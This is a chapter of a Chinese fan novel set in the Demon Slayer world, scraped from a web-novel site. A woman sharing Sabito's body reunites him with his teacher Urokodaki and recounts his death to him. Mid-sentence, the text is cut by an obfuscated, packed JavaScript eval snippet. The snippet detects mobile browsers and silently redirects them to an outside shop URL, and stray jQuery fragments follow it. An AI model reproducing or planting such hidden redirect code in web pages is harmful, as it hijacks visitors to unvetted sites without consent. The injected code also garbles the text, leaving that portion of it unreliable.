文趣网 > 都市小说 > 和锖兔灵魂同居后社死了 > 9. 再次见面
    “对你出手,是老夫冒犯了。”鳞泷将刀收回鞘中,动作很慢,像是用了很大的力气,“只是你的气味实在太像老夫那个不成器的徒子。他在八年前已经死在藤袭山。

    “老夫亲手检查过他的遗物——断刀、碎裂的面具、带血的衣角。这些年,不是没有人试图冒充他的身份靠近这里。老夫不敢不查。”

    星野耀没有说话。

    她低头看了一眼小地图。

    真菰的灰点在不远处,还有其他的灰点,更外围的是那些她还没来得及认识的、属于鳞泷左近次的另外徒子的灰点。

    [锖兔……你说由我决定是吧?]

    [是的。星野你……]

    [那就交给我吧。]

    在得到锖兔肯定的回答后,星野耀抬头看一下鳞泷师傅。

    “我的确不是锖兔,来到这里是因为一个意外。会和炭治郎遇见,也是一个意外。”星野耀没有丝毫撒谎的痕迹,她抬手摁在面具的边缘,“但我有件事想要告知你。

    “我与锖兔……确实认识。”

    她的手指扣住面具边缘,轻轻揭开。

    光落在她的脸上。不是星野耀自己的脸,是锖兔的脸。

    成年后的锖兔,肉粉色的长发散落在肩头,嘴角那道旧疤在黄昏下泛着淡淡的暖橘光泽。

    她听见鳞泷左近次倒吸了一口气,那声音很轻,轻得像是怕惊碎什么。

    星野耀把摘下来的面具收回系统空间内。

    她意识深处忽然浮现紧绷的情绪,是锖兔。

    他的情绪通过那种奇怪的链接传到星野耀心中,清晰得几乎让她的手指也跟着发颤。

    “……锖兔?”鳞泷左近次的声音有点发抖。

    “星野耀。”星野耀再一次肯定自己的名字。

    [……星野。]锖兔的声音很轻,带着一丝极难察觉的紧张,[你——]

    “五分钟。”星野耀在心底打断他,声音很平静,“你自己去跟你师傅说。我不是你,不能替你做所有决定。”

    然后星野耀闭上眼睛,把身体往前轻轻一推。

    她感觉自己的意识正在沉落,像是回归到母体之中,掀起一点点波澜。

    星野要随时可以夺回这具躯体的控制权,但他只是安静地感受着这具身体。呼吸节奏变了,站姿变了,握刀的方式变了。

    从内到外,每一寸肌肉都在同一个意志下重新调整。

    锖兔睁开眼。

    他看见的第一件事,是鳞泷左近次摘下了面具。

    那个从不摘面具的师傅,那个把面容藏在天狗之下数十年的老人,此刻用手握住面具的边缘,缓缓地将它取了下来。

    露出来的脸比锖兔记忆中苍老太多——皱纹更多了,眼睛更浑浊了,嘴角那两道法令纹像刀刻的一样深。他的头发白了大半,稀疏地束在脑后,几缕碎发散落在额前。

    八年前不是这样的。

    “……锖兔。”鳞泷左近次说。

    不是疑问,不是试探。和刚才叫出这个名字时一模一样,但这一次的声音完全变了。不是警惕,不是戒备,而是一个老人站在墓前,轻轻念出墓碑上的名字。

    锖兔跪了下去。

    双膝落在落叶上,发出一声闷响。

    “师傅。”

    这具躯体的声音,不再是星野耀伪装出来的柔和女声,是属于锖兔成年后那种沉稳的声线。

    这个声音已经在狭雾山的山风中沉默了八年,此刻从这具成年后的躯体里发出来,带着一丝他自己都没察觉到的颤抖。

    “徒子回来了。”

    鳞泷没有回答。他站在那里,低头看着跪在面前的人。那张苍老的脸上没有表情,或者说太多表情同时涌上来,最终只剩下某种近乎空白的怔然。

    他伸出一只手,手指悬在锖兔的发顶上方,隔着一寸的距离,没有落下。

    “……你长大了。”他说。

    在旁的炭治郎也发出一声惊呼,随后捂住嘴,再靠近了他们一点。

    锖兔没有抬头。

    他的肩膀在发抖,幅度很轻,轻到几乎看不出来。星野耀在意识深处看着他——这个从来严肃、从来不露软弱的少男,第一次在她面前露出了破绽。

    她想说点什么安慰的话,想了想又觉得不合适。这是他和师傅之间的事,她不应该插嘴。

    “这就是你长大的样子啊…”鳞泷感叹道,他抬手抚摸在锖兔的头顶,又按了一下。

    锖兔抬起头。黄昏下,那张成年后的脸与八年前的少男重叠在一起。他嘴角的那道疤痕贯穿了他的一生,是拿不掉的勋章,连带着鳞泷刻印的狐狸面具,也拥有者这道疤痕。

    鳞泷伸出另一只手,迟疑地、缓慢地,摁在锖兔的疤痕上。

    那个悬了八年的动作,终于落到了实处。

    然后鳞泷左近次弯下腰,把额头抵在自己徒子的发顶上。

    “……回来就好。”

    星野耀移开了目光。她看着远处的树影,看着月光下的杉木林,看着小地图上那些聚集过来的灰白色光点。真菰、还有其他几个。她一个都不认识,但她知道他们都在看。

    以及炭治郎,也在看着。

    【结识角色锖兔。获取 100积分。】

    【积分:-9499】

    鳞泷的小屋比星野耀想象中更小。木结构,斜屋顶,屋檐下挂着一串干枯的紫藤花,门前的石阶被磨得光滑发亮。

    屋子里只有三个房间,一间是鳞泷他自己的起居室,星野耀站在另一间的门口看了一眼,房间被擦拭得干干净净,在靠近更角落的位置,她看见了一个狭小的箱子。

    祢豆子。

    星野耀目光只落在那里一下,而后快速移开,跟在炭治郎的身后,来到了第三间内。

    拉开的橱柜整整齐齐地叠着几床被褥,最上方放着几个已经褪色的狐狸面具,星野耀看不清楚图案。

    鳞泷让她在这个房间住下,炭治郎只是取出一套被褥,放在榻榻米上,让星野耀自行整理。

    星野耀点头。

    她的东西不多,除了系统提供的两套自净衣物外,就是手中的刀。根本不需要回到先前的地方。

    这段时间,星野耀一直在当野人。好在身体硬朗,就算去下游洗冷河水也不会生病,连身体都是锖兔的,星野耀在洗澡的时候更是无所谓。

    晚饭是鳞泷做的。简单的味噌汤、烤鱼和糙米饭。

    星野耀坐在炭治郎旁边,捧起碗的时候,盯着汤面上的葱花看了好几秒钟。

    她来到这个世界后,第一次吃上热饭。不是自己烤得半生不熟的鱼,不是冷硬的野果,而是正正经经的、放在碗里的、冒着热气的饭。

    星野耀也不慊弃冒着热气的汤,含泪地嘬了一小口汤。

    终于!

    在穿越两周后,星野耀终于再次吃到了人类该吃的食物。

    “很美味,多谢款待!”

    “嗯。”鳞泷开口询问:“锖兔在休息吗?”

    “是的。锖兔每隔24小时只能出现5分钟。”

    听着那偏柔和的嗓音,炭治郎再次扒了一口饭,好奇地看着星野耀的面容。

    无论星野耀散发的气质有多么平和,可那□□带来的压迫感依旧存在,与那嗓音格格不入。

    “星野……女士?”炭治郎在脑中转了一圈,选择了个较为合适的称呼。

    既然师傅开不了这个口,那么就由他来暗试探看看。

    “你会想念原来的生活吗?”

    “当然。”在信息时代生活过的人回到过去生活,没有一个不习惯的。

    生活上不习惯、娱乐上不习惯,连手机都没有。

    星野耀这段时间能硬熬着练刀,还是因为娱乐生活都被没了。若不练刀消耗的体力,怕能硬熬到天亮。

    “那你习惯现在的日子吗?”炭治郎的声音带着小心翼翼的关切。

    星野耀放下碗筷,瞥了他一眼,再看向鳞泷。

    “不习惯也得习惯。”星野耀伸手抚摸着凸起来的喉结,“我是女性,来到男性的身体中是非常不习惯的,但我无力改变。”

    炭治郎没有说话。他的鼻子动了动,大概嗅到了某种气味,判定出星野耀不在撒谎。

    [抱歉。]锖兔道歉着。

    他最近这段时间说出来的话,比以往柔和了许多许多。

    “你们感兴趣的话,我可以把一部分事情告知给你们。”

    既然锖兔已

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618350|206127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    经开了这个先河,与鳞泷见了面,那么星野耀就有必要把更多的事情告知给鳞泷。

    确保接下来的事情能好好的发展,也确保他们不会碍着自己。

    [……你真的想把所有东西都说出去吗?]锖兔率先发问。

    [我只会说一部分。说一点过去,再说一点未来。你也不想让师傅继续等下去了,对吧?他已经等了八年之久。

    [他应该知道这一切,不只是手鬼,还有你,还有真菰,还有所有留在这里的孩子们。]

    沉默。很长。水从她的指缝间滴落,落在溪面上,一圈一圈荡开。

    然后锖兔说:[……好。]

    收拾完东西,三人安静地在廊下坐着。

    鳞泷拿着软布擦拭着面具,月光把他的影子拉得很长,廊下的风铃在夜风中轻轻响了一声。

    星野耀在他旁边坐下,没有绕弯子,直接开口,“鳞泷师傅,我有话跟你说。关于锖兔,还有藤袭山。”

    鳞泷擦拭面具的动作停了。他把面具放下,转过头看着她,看着那具属于他徒子的躯体。

    “你说。”

    星野耀把手放在膝盖上,坐得很端正。

    “我是从很远的地方来的。远到不属于这个世界。我知道一些事——已经发生的,和即将发生的。”她抬起眼,与鳞泷对视,“锖兔的死,我有话没有说完。”

    然后她开始讲。

    从头开始。从八年前的最终选拔开始。

    锖兔是如何独自一人几乎剿灭了藤袭山中所有的鬼,救下了包括富冈义勇在内的所有同期考生;又是如何在力竭之时遇到了那只手鬼,刀刃已经卷了,体力已经耗尽,再也挥不出最后一刀。

    她讲锖兔被捏爆头颅的瞬间,讲他的面具如何碎裂,讲那只手鬼如何笑着说:“我最喜欢吃带狐狸面具的小孩”。

    鳞泷没有出声。

    他只是坐着,双手放在膝盖上,脊背挺得笔直。

    然后星野耀讲到了死后的事。

    锖兔的灵魂如何回到狭雾山,如何和真菰与师姐师哥们一起留在山顶的那片空地上。

    在后山开启了漫长的没有尽头的等待,一年又一年,直到等到了八年后。

    终于等来了一个叫灶门炭治郎的少男。等到了玲珑师傅的新徒子。

    在鳞泷师傅把炭治郎放养的时候,锖兔与真菰又是如何配合着给炭治郎训练,教导着他磨砺自己手中的刀。

    星野耀的声音很轻,但很稳,像是在课堂上讲一个她非常熟悉的故事。讲到炭治郎劈开岩石时,她不自觉地带出了一丝笑意。

    只不过与原著不同的是,锖兔没办法离开这具躯体,最后是由真菰与炭治郎对战,看着他劈开岩石的。

    鳞泷始终没有动。

    然后星野耀讲到了现在。锖兔的灵魂还在这里,困在这具本该已经入土的躯体里,无法离开这具躯体。

    他能看到她看到的一切,能听见她说出的每一个字。他就在这里,就在她旁边,只是鳞泷看不见锖兔,也看不见真菰,还有更多更多的孩子。

    风铃在夜风中轻轻晃动。月光将廊下染成一片银白。

    星野耀停下来,没有催促。她只是安静地坐着,等着。

    过了很久,鳞泷开口。

    “真菰也在吗?”

    “在。”星野耀按着大概的方向,随意一指说,“她也在。她一直在这里。”

    鳞泷看了过去,只看见被风吹动的树叶。

    “其他人呢。”

    “也在。”星野耀低头看了一眼小地图上那些灰白色的光点,“我没有数过,但应该有好几个。都在。”

    鳞泷没有说话。他抬起手,把天狗面具重新戴上。

    那张面具将他所有的表情都遮住了。但他的手指扣在面具边缘的力度,让星野耀看见了他的指节在微微发白。当他终于开口时,声音很稳。

    “那个叫手鬼的恶鬼,长什么样。”

    星野耀把记忆中手鬼的模样描述了一遍。多只手,重叠包裹着肩膀与头颅藏匿在藤袭山的深处。

    她记得很清楚,系统传输给她的剧情里,这只恶鬼是藤袭山最终选拔最大的威胁,同时也是炭治郎变强道路上的第一颗基石。